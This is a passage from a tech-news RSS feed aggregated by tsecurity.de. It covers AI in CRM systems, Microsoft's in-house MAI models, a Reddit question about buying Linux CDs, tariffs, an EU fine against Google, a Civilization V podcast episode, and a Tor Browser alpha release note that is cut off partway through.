<p class="wp-block-paragraph">Enterprise users who have traditionally had to manually wrangle with CRM systems are likely to find the ability to employ voice commands using a natural language interface to be a game changer. For starters, a salesperson can say, “I have a meeting today with Customer X. Help me prepare.” The agent will collect relevant data, ingest it, and provide a summary with recommendations.</p>



<p class="wp-block-paragraph">ServiceNow’s Chesire says voice-enabled CRM systems have an “almost magical” ability to record, transcribe, and understand the content of a call between a salesperson and a customer or potential customer. The system can then “build a quote” based on that conversation.</p>



<p class="wp-block-paragraph">On the customer service side of the equation, AI-driven voice technology enables customers to speak to an AI agent, describe the problem using natural language, and get a response. The agent has the capability to, for example, solve a credit card dispute, order a replacement product, send out a service rep, or do whatever is needed to resolve the issue, says Chesire.</p>



<p class="wp-block-paragraph">Beyond that, agentic technology is capable of understanding the underlying business process flaws that led to the product snafu, and make recommendations for ways to fix whatever led to the issue in the first place, he adds.</p>



<h2 class="wp-block-heading">Agentic drives business process transformation</h2>



<p class="wp-block-paragraph">With the emergence of outcome-based pricing, organizations are taking a fresh look at how they measure the benefits of CRM systems. That conversation is leading to an even more important analysis of underlying business processes. Or, as Constellation’s Miller says, “The old adage of applying new technology to old processes only gets you more expensive old processes.”</p>



<p class="wp-block-paragraph">“When we survey customers, we hear time and time again that the reason why they want to apply AI into their organizations is to foster exponential opportunity and exponential growth,” she says. “How do we get there with CRM has started to become the new conversation.”</p>



<p class="wp-block-paragraph">According to Miller, AI systems breach the walls of siloed data and can take a fresh look at legacy workflows. They also don’t get sucked into turf wars between marketing and sales teams. As a result, they often recommend new actions that can lead to better processes. “I think it’s starting to happen. You’re starting to see applications where AI is beginning to accelerate decision-making and decision velocity,” she says.</p>



<p class="wp-block-paragraph">“The next phase of maturity is going to be, how do we start to spread AI across our platforms so that we are seeing that holistic end-to-end relationship that we have always wanted to optimize. How do we thread that across platforms and across solutions. We’re starting to see organizations on the leading edge really start to pull those strategies together,” says Miller.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Purchasing Linux]]></title>
<description><![CDATA[I only discovered this because Louis Rossmann said in a video that he purchased Linux when he was a teenager and then showed the CD. I looked on eBay and I saw a few CDs that were still in their boxes and the labels that were on the box looked like they came from a bookstore, I did not know that ...]]></description>
<link>https://tsecurity.de/de/3692664/linux-tipps/purchasing-linux/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692664/linux-tipps/purchasing-linux/</guid>
<pubDate>Sat, 25 Jul 2026 00:11:34 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>I only discovered this because Louis Rossmann said in a video that he purchased Linux when he was a teenager and then showed the CD. I looked on eBay and I saw a few CDs that were still in their boxes and the labels that were on the box looked like they came from a bookstore, I did not know that these were sold commercially.</p> <p>My question is, back when they used to sell these CDs in bookstores who was distributing the CDs and where was the money going to when someone made a purchase?</p> <p>My second question is, if Linux is an open source operating system why would someone want to buy it? I still see some websites to this day selling Linux CDs, I'm really curious where the money is going when someone purchases the CDs.</p> <p><strong>Edit</strong>: I made a comment earlier but so many people replied I don't think a lot of people saw it so I will repost it here. "Thank you to everyone who replied, all of my questions have been answered, it was interesting reading through all the replies, there was a lot of different points that people brought up that I never considered before"</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/analog_rnr"> /u/analog_rnr </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1v5kxok/purchasing_linux/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1v5kxok/purchasing_linux/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Which of your old cables are actually worth keeping?]]></title>
<description><![CDATA[Clean out that cable junk drawer every so often and keep only the things you actually need.]]></description>
<link>https://tsecurity.de/de/3691910/it-nachrichten/which-of-your-old-cables-are-actually-worth-keeping/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691910/it-nachrichten/which-of-your-old-cables-are-actually-worth-keeping/</guid>
<pubDate>Fri, 24 Jul 2026 17:38:40 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Clean out that cable junk drawer every so often and keep only the things you actually need.]]></content:encoded>
</item>
<item>
<title><![CDATA[New U.S. tariffs hit Apple's supply chain, with no clear exemptions]]></title>
<description><![CDATA[The United States has chosen to apply new 10% tariffs to goods imported from a total of 60 countries, including the countries where nearly every iPhone and Mac are assembled.Apple's supply chain may be impacted by new tariffs. Image credit: IntelThe new tariffs went into effect on Friday, July 24...]]></description>
<link>https://tsecurity.de/de/3691847/ios-mac-os/new-us-tariffs-hit-apples-supply-chain-with-no-clear-exemptions/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691847/ios-mac-os/new-us-tariffs-hit-apples-supply-chain-with-no-clear-exemptions/</guid>
<pubDate>Fri, 24 Jul 2026 16:55:54 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The United States has chosen to apply new 10% tariffs to goods imported from a total of 60 countries, including the countries where nearly every <a href="https://appleinsider.com/inside/iphone" title="iPhone" data-kpt="1">iPhone</a> and Mac are assembled.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68223-143803-65917-138146-Intel-chip-worker-xl-xl.jpg" alt="Scientist in full protective suit and goggles holds a tiny rectangular microchip between blue-gloved fingers in a clean, sterile laboratory environment" height="738"><br><span>Apple's supply chain may be impacted by new tariffs. Image credit: Intel</span></div><br>The new tariffs went into effect on Friday, July 24, 2026. They come into force as a 10% blanket import tax imposed by the Trump administration lapsed following a Supreme Court ruling that it was unlawful.<br><br>The new action follows a months-long <a href="https://www.whitehouse.gov/presidential-actions/2026/07/actions-by-the-united-states-in-the-investigations-under-section-301-of-the-trade-act-of-1974-of-the-acts-policies-and-practices-of-60-economies-related-to-the-failure-of-each-economy-to-impose-and/">investigation</a> by the U.S. Trade Representative into the possible use of forced labor in the production of goods in 60 countries.<br><br><br> <a href="https://appleinsider.com/articles/26/07/24/new-us-tariffs-hit-apples-supply-chain-with-no-clear-exemptions?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/245053?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft launches new in-house AI models it says cut costs up to 89% versus OpenAI]]></title>
<description><![CDATA[Microsoft AI released two new in-house models into public preview on Wednesday — MAI-Image-2.5-Pro, its highest-fidelity image generator to date, and MAI-Voice-2-Flash, a speech model built for high-volume enterprise workloads — while publishing production data that amounts to the company's most ...]]></description>
<link>https://tsecurity.de/de/3690504/it-nachrichten/microsoft-launches-new-in-house-ai-models-it-says-cut-costs-up-to-89-versus-openai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690504/it-nachrichten/microsoft-launches-new-in-house-ai-models-it-says-cut-costs-up-to-89-versus-openai/</guid>
<pubDate>Fri, 24 Jul 2026 02:50:17 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://microsoft.ai/">Microsoft AI</a> released two new in-house models into public preview on Wednesday — <a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Image-2.5-Pro</a>, its highest-fidelity image generator to date, and <a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Voice-2-Flash</a>, a speech model built for high-volume enterprise workloads — while publishing production data that amounts to the company's most aggressive argument yet that it can power its own products without leaning on OpenAI's frontier models.</p><p>The announcement, made by <a href="https://microsoft.ai/">Microsoft AI's Superintelligence team</a>, lands roughly a year after the company committed to building purpose-built models internally, and it arrives with an unusual level of specificity about where those models now run: <a href="https://www.bing.com/">Bing</a>, <a href="https://www.microsoft.com/en-us/microsoft-365/powerpoint">PowerPoint</a>, <a href="https://www.microsoft.com/en-us/microsoft-365/onedrive/online-cloud-storage">OneDrive</a>, <a href="https://www.microsoft.com/en-us/dynamics-365">Dynamics 365</a>, <a href="https://excel.cloud.microsoft/en-us/">Excel</a>, <a href="https://github.com/features/copilot">GitHub Copilot</a>, and <a href="https://azure.microsoft.com/en-us">Azure</a>. The message to enterprise buyers — and, implicitly, to OpenAI — is that Microsoft's homegrown models are no longer research projects. They are production infrastructure serving millions of users.</p><p>"Each of these enhancements is a step toward the same goal: Microsoft products, powered by Microsoft models," the company wrote in its announcement blog.</p><h2><b>How MAI-Image-2.5-Pro and MAI-Voice-2-Flash stake out opposite ends of the AI cost curve</b></h2><p>The two new releases occupy opposite ends of what Microsoft calls the quality-speed-cost curve, and the positioning is deliberate. <a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Image-2.5-Pro</a> targets the premium tier: hero imagery, detailed editing, and precise in-image text rendering — the last of which has long been a notorious weak spot for image generation models. Microsoft priced the model at $5 per million text input tokens, $8 per million image input tokens, and $106 per million image output tokens. The base <a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Image-2.5</a> model recently launched at <a href="https://microsoft.ai/news/introducing-mai-image-2-5/">No. 2 for image editing on Arena</a>, the community leaderboard that has become a de facto scoreboard for generative media.</p><p>The creative industry appears to be taking notice. Rob Reilly, global chief creative officer at advertising giant WPP, called the Pro model "a strong leap forward for GenMedia tools" in a statement included in Microsoft's announcement, adding that "Microsoft has firmly established itself among the leaders in generative AI."</p><p><a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Voice-2-Flash</a> goes the other direction. First previewed at Microsoft's <a href="https://news.microsoft.com/build-2026/">Build conference</a>, Flash runs twice as fast as MAI-Voice-2 and costs 32% less, priced at $15 per million characters. It is designed for the unglamorous but enormous market of high-volume voice — call centers, voice agents, and real-time speech applications where latency and cost-per-call matter more than marginal gains in expressiveness. Together, the two models reflect a strategy of building families of models rather than a single flagship, because, as the company put it, a creative studio chasing maximum fidelity has very different needs from a customer service operation handling millions of calls a day.</p><h2><b>Microsoft's production metrics show in-house models cutting GPU costs by up to 89%</b></h2><p>The model launches are arguably less newsworthy than the deployment metrics Microsoft attached to them — numbers that read like a systematic case for swapping out third-party frontier models across its product portfolio. </p><p><a href="https://explore.microsoft.com/en-us/bing/features/bing-image-creator?form=MA13FV">Bing Image Creator </a>now runs entirely on <a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Image-2.5</a>, end to end, marking the first time the consumer image tool is fully in-house. In PowerPoint, Microsoft says MAI-Image-2.5 reduces GPU costs by up to 84% compared with GPT-Image-2, OpenAI's image model. In OneDrive, where MAI-Image-2.5 is now the default for key image-editing scenarios, the company reports a 26% increase in save rates, roughly 25% lower P95 latency, and 2.5 times greater efficiency under medium-utilization production workloads.</p><p>On the voice side, <a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Voice-2-Flash</a> now powers Dynamics 365 Contact Center — the platform used by customers including T-Mobile and EasyJet — where Microsoft claims GPU cost reductions of up to 89%. The model is also integrated into Azure Voice Live for developers building speech-to-speech agents.</p><p>Perhaps the most consequential deployment sits in healthcare. Microsoft's <a href="https://www.microsoft.com/en-us/health-solutions/clinical-workflow/dragon-copilot">Dragon Copilot</a>, used by 170,000 medical providers and responsible for processing 28 million patient encounters last quarter, now runs on MAI-Transcribe-1.5 for its multilingual workflow across 58 languages. Microsoft says internal evaluations show a 50% relative reduction in both transcription and language-identification error rates across most languages — a meaningful claim in a domain where transcription errors can propagate directly into clinical notes.</p><h2><b>Inside the 'hill-climbing' strategy that lets small models beat GPT-5.6 in Excel</b></h2><p>In a companion post published the same day, Microsoft detailed the methodology behind these results — what it calls its "<a href="https://microsoft.ai/news/hill-climbing-mai-models-for-github-copilot-and-excel/">hill-climbing machine</a>," an integrated flywheel of data, models, and the product "harness" that surrounds them.</p><p>The clearest example is <a href="https://microsoft.ai/news/introducingmai-code-1-flash/">MAI-Code-1-Flash</a>, the lightweight coding model launched in GitHub Copilot in June. Microsoft says the model achieves an approximately 10% higher code accept rate than GPT-5.4 Mini and Claude Haiku 4.5 in VS Code, while using 10% fewer median tokens. Developer retention tells a similar story: users were 6% more likely to return across multiple days than with GPT-5.4 Mini, and 11% more likely than with Claude Haiku 4.5.</p><p>Then Microsoft did something more interesting. It took the MAI-Code-1-Flash checkpoint and further <a href="https://microsoft.ai/news/hill-climbing-mai-models-for-github-copilot-and-excel/">trained it inside an Excel reinforcement learning environment</a>, teaching a coding model the tools and workflows of spreadsheet knowledge work. The result, according to production user feedback, is a model on par with GPT-5.6 for the most common Excel tasks — while being small enough to run on Nvidia's older H100 and even A100 GPUs rather than requiring the latest-generation accelerators.</p><p>That hardware detail deserves emphasis. Every major AI company is fighting for allocation of cutting-edge chips, and a model that delivers frontier-adjacent quality on two-generation-old silicon fundamentally changes the deployment economics. It also frees the newest hardware — including Microsoft's now-operational GB200 cluster — for training rather than serving.</p><h2><b>Satya Nadella's 'frontier diffusion' manifesto redraws the OpenAI relationship</b></h2><p>Microsoft CEO Satya Nadella framed the announcements in a lengthy post on X titled "<a href="https://x.com/satyanadella/status/2080329851127669104">Frontier Diffusion &amp; Control</a>," which functions as something close to a strategic manifesto. "We can now take saturated frontier capabilities and deliver them at scale and at lower cost through models optimized for high-usage products, while continuing to use frontier models for frontier needs," Nadella wrote, adding that Microsoft is "beginning to route traffic across our first-party surfaces to MAI whenever our models match or outperform frontier alternatives."</p><p>Translated from executive prose: capabilities that were state-of-the-art a year ago are now table stakes, and Microsoft believes it can replicate them cheaply for the specific, repetitive tasks that dominate real product usage. Why pay frontier prices for a frontier model when a user just wants to reformat a spreadsheet column?</p><p>Nadella was careful to note that "frontier models from OpenAI and Anthropic are part of the orchestration system alongside MAI" — but he also articulated a pointed principle of model independence, arguing that a company's evaluations "should continue to hill climb even when any given model has been removed." </p><p>“Keeping the harness, memory, context, and skills outside the model, he argued, is what gives Microsoft control. The subtext is hard to miss. Reuters reported in April that Microsoft’s <a href="https://www.reuters.com/legal/litigation/microsoft-end-exclusive-license-openais-technology-2026-04-27/">exclusive license to OpenAI’s technology</a> had been revised into a non-exclusive arrangement, and The Information reported last September that Microsoft had <a href="https://www.theinformation.com/articles/microsoft-buy-ai-anthropic-shift-openai">begun incorporating Anthropic models</a> into some products. Wednesday’s announcement completes the triangle: Microsoft as orchestrator, with its partners’ frontier models as interchangeable components and its own models absorbing an ever-larger share of routine traffic.”</p><h2><b>Developers cheer cheaper task-specific models while skeptics question Microsoft's track record</b></h2><p>The response online captured both the appeal and the skepticism surrounding the strategy. "I love when people use small models for niche tasks," wrote one X user, <a href="https://x.com/mavihsk/status/2080330529547993252">@mavihsk</a>, responding to Nadella's post. "Why do I have to use the all-knowing model just to change my field in Excel?" Another user, <a href="https://x.com/nabu_lines/status/2080343512780837226">@nabu_lines</a>, distilled the pitch neatly: "cost and performance both improve when you stop overusing the biggest model."</p><p>Others were less charitable about Microsoft's execution track record. "Microsoft is the worst when it comes to listening to user feedback," wrote designer <a href="https://x.com/designedbyabin/status/2080332368301412434">@designedbyabin</a>, arguing the company "will lose the AI race because they repeatedly failed to understand user needs." And one user, <a href="https://x.com/tokenoverflow/status/2080386145712824694">@tokenoverflow</a>, offered a drier critique of the model-independence pitch: "i want it keep hill climbing after removing microsoft."</p><p>The skeptics raise a fair point. Microsoft's self-reported metrics — accept rates, save rates, GPU savings — come from its own internal evaluations, not independent benchmarks, and the company chooses which comparisons to publish.</p><p>But the strategy's logic does not depend on any single number. Nadella's framing that software now has "<a href="https://x.com/satyanadella/status/2080329851127669104">real marginal cost for the first time</a>" explains why Microsoft is obsessive about tokens, GPUs, and serving costs: when AI features run on every keystroke across a billion-user product portfolio, an 84% GPU cost reduction is not an optimization. It is the difference between a viable business and a money pit.</p><h2><b>Why Microsoft is turning its internal AI playbook into an Azure product</b></h2><p>The final piece of the strategy is that Microsoft is selling the playbook, not just the models. Nadella explicitly positioned the hill-climbing approach as "a template for every other AI native, SaaS, or Enterprise company," and Microsoft is packaging the toolchain through Foundry and what it calls Frontier Tuning — letting enterprises train specialized models against their own proprietary evaluations and reinforcement learning environments. That turns Microsoft's internal cost-cutting exercise into an Azure product, and it gives enterprise customers a reason to run their AI workloads on Microsoft's cloud even if the models themselves come from elsewhere.</p><p>The company's emphasis on models trained "on clean, traceable, enterprise-grade data, without distillation from third-party models" serves the same commercial end. In an industry facing mounting scrutiny over training data provenance, Microsoft is betting that enterprise buyers — and courts — will care where model capabilities come from. Microsoft says it is now extending the hill-climbing approach to <a href="https://copilot.microsoft.com/">Copilot Chat</a>, <a href="https://outlook.live.com/mail/">Outlook</a>, and <a href="https://www.microsoft.com/en-us/microsoft-365/powerpoint">PowerPoint</a>, and both new models are available in public preview through <a href="https://azure.microsoft.com/en-us/products/ai-foundry">Microsoft Foundry</a> and the <a href="https://playground.microsoft.ai/">MAI Playground</a>. "None of this is an endpoint," the company wrote. "We're just getting started."</p><p>Seven years ago, <a href="https://www.cnbc.com/2024/08/10/rise-of-openai-microsofts-13-billion-artificial-intelligence-bet.html">Microsoft bet more than $13 billion</a> that OpenAI would build the future of AI. Wednesday's announcement suggests the company has since learned a cheaper lesson: the future of AI may belong to whoever builds the frontier, but the profits belong to whoever makes it ordinary.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[HPR4690: Playing Civilization V, Part 14]]></title>
<description><![CDATA[This show has been flagged as Clean by the host.

In our sample game we look at playing as Austria and aiming for a Diplomatic Victory. And our focus is on puppeting City-States, but I misunderstood and instead of making a Diplomatic Victory easier, it makes it harder. I still managed to get my D...]]></description>
<link>https://tsecurity.de/de/3690466/podcasts/hpr4690-playing-civilization-v-part-14/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690466/podcasts/hpr4690-playing-civilization-v-part-14/</guid>
<pubDate>Fri, 24 Jul 2026 02:04:41 +0200</pubDate>
<category>🎥 Podcasts</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This show has been flagged as Clean by the host.</p>

<p>In our sample game we look at playing as Austria and aiming for a Diplomatic Victory. And our focus is on puppeting City-States, but I misunderstood and instead of making a Diplomatic Victory easier, it makes it harder. I still managed to get my Diplomatic Victory, but a Science or Domination Victory would definitely have been easier in this scenario.</p>

<h1>Playing Civilization V, Part 14</h1>

<p>Now I am at turn 340, I just puppeted another City-State, and I have one more on the way. I have sent a large number of military units, both land and sea, to the City-States that are on Japan’s border. If he tries anything now he will likely regret it. Now I am starting to build things I had not bothered with before, like Granaries and Amphitheaters. I got a couple of Great Engineers, and used them to rush build Wonders. I am nearly finished puppeting all of the City-States, and my Happiness and Income are both quite healthy. I am in such good shape I started to build the World’s Fair, which I initally proposed then ignored.</p>

<p>At this point I only have one more City-State to puppet, then I will have puppeted every City-State in the game. So it is time to put my large income to use in other ways by giving gifts to the other players. I may want to get a few more votes on my side to get over the top in the World Leader vote when it happens. On turn 357 I completed the puppeting of all of the City-States in the game. Meanwhile, I am building up my Science and building Wonders as they become available. I didn’t build any in the early game because I had other priorities, but now I have a strong military, high income, and no other pressing needs. My score on the Leader Board is now double that of my nearest competitor which is still Japan. And their denunciation me of just expired with them taking no action.</p>

<p>I used a Great Engineer to rush build the Porcelain Tower, earning me another Great Scientist, which I then used to build another Academy. At this point it is mostly a slog to the finish. Since I was so dominant and so wealthy I could afford to pursue a couple of other options just in case. One was a Science victory, which looked like a possibility, though it would be close. I had to be very focused in my Science Research. The other option was a Culture victory, and I had dominated two other empires culturally without half trying, and I was generating Great Artists, Great Musicians, and Great Writers pretty rapidly. So I built Museums, then Archeologists, and grabbed every artifact I find to stuff into the Museums. But the final Victory came when I researched Globalization. This tech allows you to get an extra vote in a World Council for every Spy you send to another empire’s capital and designate as an Ambassador. I immediately sent my spies out (they had previously been in my cities doing counter-espionage since I had a tech lead). And a few turns later a vote for World Leader came up and I won.</p>

<p>This was my first time using Maria Theresa of Austria as my leader, and it was fun, but in the end puppeting all of the City-Staters actually made it harder to win a Diplomatic victory. In other games I have played, every City-State that was an ally was an extra vote in the World Council, and I assumed that making them puppets would mean I would get that many votes. But that didn’t happen. Of course, if I had read more carefully in the Civilization Wiki I would have realized this, because it says there very clearly that Austria is one of the worst Empires to pick if you are going for a Diplomatic victory. So the fact that I managed it anyway is nice. I think I actually could have done a Science victory as I had my Spaceship half-built when I won the Diplomatic Victory. But I hope this analysis of how I actually played this game will be helpful to someone else.</p>

<h3>Links</h3>
<ul>
<li><a href="https://www.palain.com/gaming/civilization-v/playing-civilization-v-part-14/">https://www.palain.com/gaming/civilization-v/playing-civilization-v-part-14/</a></li>
</ul>


<p><a href="https://hackerpublicradio.org/eps/hpr4690/index.html#comments">Provide <strong>feedback</strong> on this episode</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Who Doesn’t Love a Clean Floor? Here Are 25+ Vacuum Deals to Make It Happen]]></title>
<description><![CDATA[Get clean floors without sacrificing your whole weekend or your whole paycheck with these top CNET picks.]]></description>
<link>https://tsecurity.de/de/3690263/it-nachrichten/who-doesnt-love-a-clean-floor-here-are-25-vacuum-deals-to-make-it-happen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690263/it-nachrichten/who-doesnt-love-a-clean-floor-here-are-25-vacuum-deals-to-make-it-happen/</guid>
<pubDate>Thu, 23 Jul 2026 23:34:14 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Get clean floors without sacrificing your whole weekend or your whole paycheck with these top CNET picks.]]></content:encoded>
</item>
<item>
<title><![CDATA[EU Fines Google $1 Billion For Breaking Digital Antitrust Regulations]]></title>
<description><![CDATA[The European Union fined Google more than $1 billion for allegedly using Google Play and Search to steer users toward its own services and apps at the expense of competitors. The Associated Press reports: Google had recently lost its appeal of a $4.5 billion antitrust fine imposed by the EU for t...]]></description>
<link>https://tsecurity.de/de/3690226/it-security-nachrichten/eu-fines-google-1-billion-for-breaking-digital-antitrust-regulations/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690226/it-security-nachrichten/eu-fines-google-1-billion-for-breaking-digital-antitrust-regulations/</guid>
<pubDate>Thu, 23 Jul 2026 23:07:00 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The European Union fined Google more than $1 billion for allegedly using Google Play and Search to steer users toward its own services and apps at the expense of competitors. The Associated Press reports: Google had recently lost its appeal of a $4.5 billion antitrust fine imposed by the EU for throttling competition and reducing consumer choice through the dominance of its mobile Android operating system. The European Commission, the bloc's executive branch and highest antitrust enforcer, said it was acting in the interest of consumers after an investigation of Google.
 
"The best products should succeed because they're better, not because they're owned by the company running the search engine. And European consumers have a right to be told by app developers where to sign up to the best offers, even when the app store owner does not get a cut," said Teresa Ribera, the commission's Executive Vice President for Clean, Just and Competitive Transition.
 
Google's President of Global Affairs Kent Walker blasted the fine as "product degradation driven by a small group of self-serving complainants" that will have a negative impact on European businesses and consumers. He said that the EU's Digital Markets Act forces Google "to strip away real-time search features Europeans love -- like instant pricing and direct availability for hotels, flights, and restaurants -- and dismantle safety protections on Google Play."<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=EU+Fines+Google+%241+Billion+For+Breaking+Digital+Antitrust+Regulations%3A+https%3A%2F%2Fsearch.slashdot.org%2Fstory%2F26%2F07%2F23%2F2034235%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fsearch.slashdot.org%2Fstory%2F26%2F07%2F23%2F2034235%2Feu-fines-google-1-billion-for-breaking-digital-antitrust-regulations%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://search.slashdot.org/story/26/07/23/2034235/eu-fines-google-1-billion-for-breaking-digital-antitrust-regulations?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Meta drops out of a major clean energy pact as its natural gas buildout accelerates]]></title>
<description><![CDATA[Meta has made significant investments in natural gas over the past year. Now, it's dropping out of an industry renewable energy group.]]></description>
<link>https://tsecurity.de/de/3690117/it-nachrichten/meta-drops-out-of-a-major-clean-energy-pact-as-its-natural-gas-buildout-accelerates/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690117/it-nachrichten/meta-drops-out-of-a-major-clean-energy-pact-as-its-natural-gas-buildout-accelerates/</guid>
<pubDate>Thu, 23 Jul 2026 21:52:26 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Meta has made significant investments in natural gas over the past year. Now, it's dropping out of an industry renewable energy group.]]></content:encoded>
</item>
<item>
<title><![CDATA[Andrew Ng Just Released OpenWorker: An Open-Source, Local-First Desktop AI Coworker That Returns Finished Deliverables Instead of Chat]]></title>
<description><![CDATA[Andrew Ng has released OpenWorker, an MIT-licensed desktop AI agent that returns finished deliverables instead of chat replies. It runs a local Python agent server under a Tauri shell, supports 30 curated tool-calling models plus fully local Ollama, and gates every write, shell command and off-ma...]]></description>
<link>https://tsecurity.de/de/3690088/ai-nachrichten/andrew-ng-just-released-openworker-an-open-source-local-first-desktop-ai-coworker-that-returns-finished-deliverables-instead-of-chat/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690088/ai-nachrichten/andrew-ng-just-released-openworker-an-open-source-local-first-desktop-ai-coworker-that-returns-finished-deliverables-instead-of-chat/</guid>
<pubDate>Thu, 23 Jul 2026 21:34:58 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Andrew Ng has released OpenWorker, an MIT-licensed desktop AI agent that returns finished deliverables instead of chat replies. It runs a local Python agent server under a Tauri shell, supports 30 curated tool-calling models plus fully local Ollama, and gates every write, shell command and off-machine action behind a typed risk engine.</p>
<p>The post <a href="https://www.marktechpost.com/2026/07/23/andrew-ng-just-released-openworker-an-open-source-local-first-desktop-ai-coworker-that-returns-finished-deliverables-instead-of-chat/">Andrew Ng Just Released OpenWorker: An Open-Source, Local-First Desktop AI Coworker That Returns Finished Deliverables Instead of Chat</a> appeared first on <a href="https://www.marktechpost.com/">MarkTechPost</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[New Alpha Release: Tor Browser 16.0a9]]></title>
<description><![CDATA[Tor Browser 16.0a9 is now available from the Tor Browser download page and also from our distribution directory.
This version includes important security updates to Firefox.
⚠️ Reminder: The Tor Browser Alpha release-channel is for testing only. As such, Tor Browser Alpha is not intended for gene...]]></description>
<link>https://tsecurity.de/de/3689969/it-security-tools/new-alpha-release-tor-browser-160a9/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689969/it-security-tools/new-alpha-release-tor-browser-160a9/</guid>
<pubDate>Thu, 23 Jul 2026 20:25:02 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<article class="blog-post">
    <picture>
      <source media="(min-width:415px)" srcset="https://blog.torproject.org/new-alpha-release-tor-browser-160a9/lead.webp" type="image/webp">
<source srcset="https://blog.torproject.org/new-alpha-release-tor-browser-160a9/lead_small.webp" type="image/webp">

      <img class="lead" referrerpolicy="no-referrer" loading="lazy" src="https://blog.torproject.org/new-alpha-release-tor-browser-160a9/lead.png">
    </picture>
    <div class="body"><p>Tor Browser 16.0a9 is now available from the <a href="https://www.torproject.org/download/alpha/">Tor Browser download page</a> and also from our <a href="https://www.torproject.org/dist/torbrowser/16.0a9/">distribution directory</a>.</p>
<p>This version includes important <a href="https://www.mozilla.org/en-US/security/advisories/">security updates</a> to Firefox.</p>
<p>⚠️ <strong>Reminder</strong>: The Tor Browser Alpha release-channel is for <a href="https://community.torproject.org/user-research/become-tester/">testing only</a>. As such, Tor Browser Alpha is not intended for general use because it is more likely to include bugs affecting usability, security, and privacy.</p>
<p>Moreover, Tor Browser Alphas are now based on Firefox's betas. Please read more about this important change in the <a href="https://blog.torproject.org/future-of-tor-browser-alpha/">Future of Tor Browser Alpha</a> blog post.</p>
<p>If you are an at-risk user, require strong anonymity, or just want a reliably-working browser, please stick with the <a href="https://www.torproject.org/download/">stable release channel</a>.</p>
<h2>It's ESR transition season again!</h2>
<p>Well actually, it has been ESR transition season throughout this entire release cycle! As described in the aforementioned <a href="https://blog.torproject.org/future-of-tor-browser-alpha/">Future of Tor Browser Alpha</a> blog post, we have been incrementally rebasing our Alpha channel on Firefox betas since December of last year. As a result, we now stand before you with Tor Browser 16.0a9 which is based on Firefox ESR 153.</p>
<p>We will continue rebasing Tor Browser 17.0 Alpha branches on Firefox betas throughout the remainder of the Tor Browser 16.0 release cycle. However, new feature-work for now must be put on hold for a few reasons:</p>
<ul>
<li>We must focus our attention on resolving our Bugzilla Audit issues to ensure the features we have inherited from upstream comply Tor Browser's <a href="https://gitlab.torproject.org/tpo/applications/wiki/-/wikis/Design-Documents/Tor-Browser-Design-Doc">threat model</a> and to patch any changes which do not.</li>
<li>Feature work targeting 16.0 stable would need to be cherry-pick'd onto our 17.0 Alpha branches to ensure we don't lose any work. The more invasive a feature patch is, the harder it will be to port to newer versions. This would also be a potentially error-prone process and there is some risk we would lose patches along the way.</li>
